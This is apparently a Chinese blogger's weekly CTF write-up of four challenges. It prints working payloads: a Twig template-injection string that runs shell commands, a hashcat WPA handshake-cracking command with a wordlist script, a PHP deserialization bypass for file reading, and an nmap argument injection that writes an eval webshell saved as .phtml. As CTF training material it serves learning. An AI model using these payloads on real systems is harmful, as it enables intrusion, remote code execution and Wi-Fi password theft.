tothemoon
文章6
标签0
分类3
第 四 周 write up [TokyoWesterns-Web-shrine 2017-赛客夏令营-Web-random 2017-赛客夏令营-Web-weakphp [网鼎杯 2020 朱雀组]Nmap]

第 四 周 write up [TokyoWesterns-Web-shrine 2017-赛客夏令营-Web-random 2017-赛客夏令营-Web-weakphp [网鼎杯 2020 朱雀组]Nmap]

BJDCTF-2020-Web-Cookie is so subtle!(twig,ssti)

先百度

image-20201010200127760

瞎测了一下,居然测出给git泄露了?

image-20201012194341050

跑了下脚本,不是git泄露。 淦

image-20201012194822379

重新开始

在hint下面发现了提示

image-20201012200132199

在flag.php页面登陆后,抓包发现,cookie里面多了变量user。

image-20201014123841249

看了大佬的提示:是模板注入,靠,这怎么想得到啊。菜鸡我是真的涨姿势了。

如果输入NaN如果 输出7777777 则是jinja2模板 如果是 49 则是 twig模板

这里输出了49 则这是 twig模板注入

img

大佬的在博客中指出了怎样构造pauload

https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/#2-Twig

我这里简单总结一下

twig提供了一个_self,它可以调用env(env是指属性Twig_Environment对象,Twig_Environment对象有一个 setCache方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置)

不过call_user_function()函数一般被php禁用了,不过有一个getFile() 可以调用call_user_function()

image-20201013213830021

然后利用registerUnderfinedFilterCallback()函数将exec作为回调函数传进去。

img

至此payload创建成功,只需要在后面加上自己想要执行的命令就行了

payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

img

success

img

https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/#2-Twig

https://blog.csdn.net/Aidang/article/details/108182487

https://zhuanlan.zhihu.com/p/28823933

https://xz.aliyun.com/t/7518

Bugku 蹭网先解开密码(hashcat)

无意中得知了hashcat这个神奇 ,但是第一次接触不会用啊,于是在网上找题目实战,刚好bugku就有一道用hashcat破解wifi密码的杂项题。

image-20201012121753825

下载wifi.cap文件,这个文件是wifi的握手包,即为采用的wpa加密方式的无线ap与无线客户端连接前的认证信息包,可以通过这个握手包暴力破解密码。

因为是破解,所以得写一个电话号码的字典给它跑。电话号码一般都是11位的,而且这里还告诉了前8位,所以用脚本生成一个11位的电话号码字典。

a = 1391040
f = open('pass.txt', 'w')
for i in range(0,1000):
    psd = a + str(i).zfill(4)
    f.write(psd+'\n')

hashcat

然后到 https://hashcat.net/hashcat/ 下载 hashcat binaries 文件

image-20201012122440823

https://hashcat.net/cap2hccapx/ 将 .cap文件转换成 .hccapx文件

image-20201012122529106

然后将hccapx文件与字典放入hashcat的文件夹

输入命令 vhashcat.exe -m 2500 1.hccapx pass.txt

image-20201012185323925

image-20201012185651596

成功跑出手机号码

image-20201012185354618

EWSA

导入握手包

image-20201012192803014

点击ok

image-20201012192924479

导入字典

image-20201012192956249

image-20201012193026204

开始爆破

image-20201012193201785

success

image-20201012185459965

[网鼎杯 2020 青龙组]AreUSerialz(序列化,protected)

参考:https://www.cnblogs.com/Cl0ud/p/12874458.html

打开就是源码,加上名字已经暗示的很清楚了,这是一道反序列化的代码审计题

image-20201013204701298

注入点是在最后,要给str传参,传的值得经过is_valid()函数进行判断

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}


if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

ord()函数返回字符的ascll值,这里的判断条件是str字符串里的每个字符的都得ascll都得大于32,或小于125。

具体可以去查表,大概也就是说以下和一些不可取。

image-20201013205945042

不管怎样,先把源码放进本地环境跑跑

image-20201013211156123

image-20201013211206892

给str传参,回显bad hacker!这时就该去FileHandler () 里面看看有没有可以利用的函数了。

image-20201013211235721image-20201013211244198

太菜了,都忘记会先调用构造函数destruct()了。它会先进行强类型比较通过的话把1赋给op,然后将content赋为空,转到process去

function __destruct() {
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}

image-20201014211510289

如果op为1就执行write(),如果op为2就执行read(),read函数后面还有一个output函数输出。感觉这里应该可以利用来输出flag。

public function process() {
    if($this->op == "1") {
        $this->write();
    } else if($this->op == "2") {
        $res = $this->read();
        $this->output($res);
    } else {
        $this->output("Bad Hacker!");
    }
}

read 里面有file_get_contents() 应该可以用来读取文件

private function read() {
    $res = "";
    if(isset($this->filename)) {
        $res = file_get_contents($this->filename);
    }
    return $res;
}

毕竟是读文件感觉write应该没用。

为了进行读flag,op必须为2,但这里可以用强类型绕过只要两边值的类型不同就直接false,所以给op赋值为整型的2,因为比较的时候op比较的是str类型的2,就直接false了。

image-20201014211510289image-20201015165739104

在构造函数里将op赋值整型2,filrname为flag.php

image-20201015171118170

这时看到序列化后的字符串有方块,这事实上是ascll为0的空字符,用这个去当payload肯定是不行了。

image-20201015171300459

image-20201015172331260

上网查了下,因为前面设置变量的时候设置的私有变量,私有变量序列化后就会有空字符。为了去掉这个,大佬说可以将

protected属性改为public

image-20201015172542221

跑payload:

image-20201015172651092

success

image-20201013213251591





[网鼎杯 2020 朱雀组]Nmap(RCE,nmap)

题目有提示:

image-20201015213841754

之前好像做过类似的题,用的linux通道符远程命令执行。搞出来的。

查看报告详情的时候这里的url栏里出现了一个变量f后面接的是前面报告的名称。

随便输了个flag后报错了。出现了个函数提醒,根据这个函数应该可以推测处和xxe漏洞有关。

image-20201016112914379

抓包发现php的版本,再根据前面的提示 flag is in / flag 构造payload

image-20201016125301701

xxe的payload试了半天都没用估计和这个关系不大了,又回到前面的远程命令执行。

突然想起来之前在buu 做的一道 online tools 也是利用命令执行和nmap的一个参数,写一句话木马,连上得到flag的。

image-20201017124109923

' <php?= @eval($_POST["hack"]);?> -oG hack.php '

image-20201018202432573

啊这有问题,经过多次测试后应该是有对php的过滤。然后重新构造payload才行。可以将前面的php删除掉。经过测试过以下后缀后将发现改为pht,phtml可以绕过。

image-20201018203344059

image-20201018201700320

然后访问下hack.phtml试一试上传成功没。

image-20201018201940936

连上菜刀在根目录下找到flag

image-20201018202047338

success

image-20201013213251591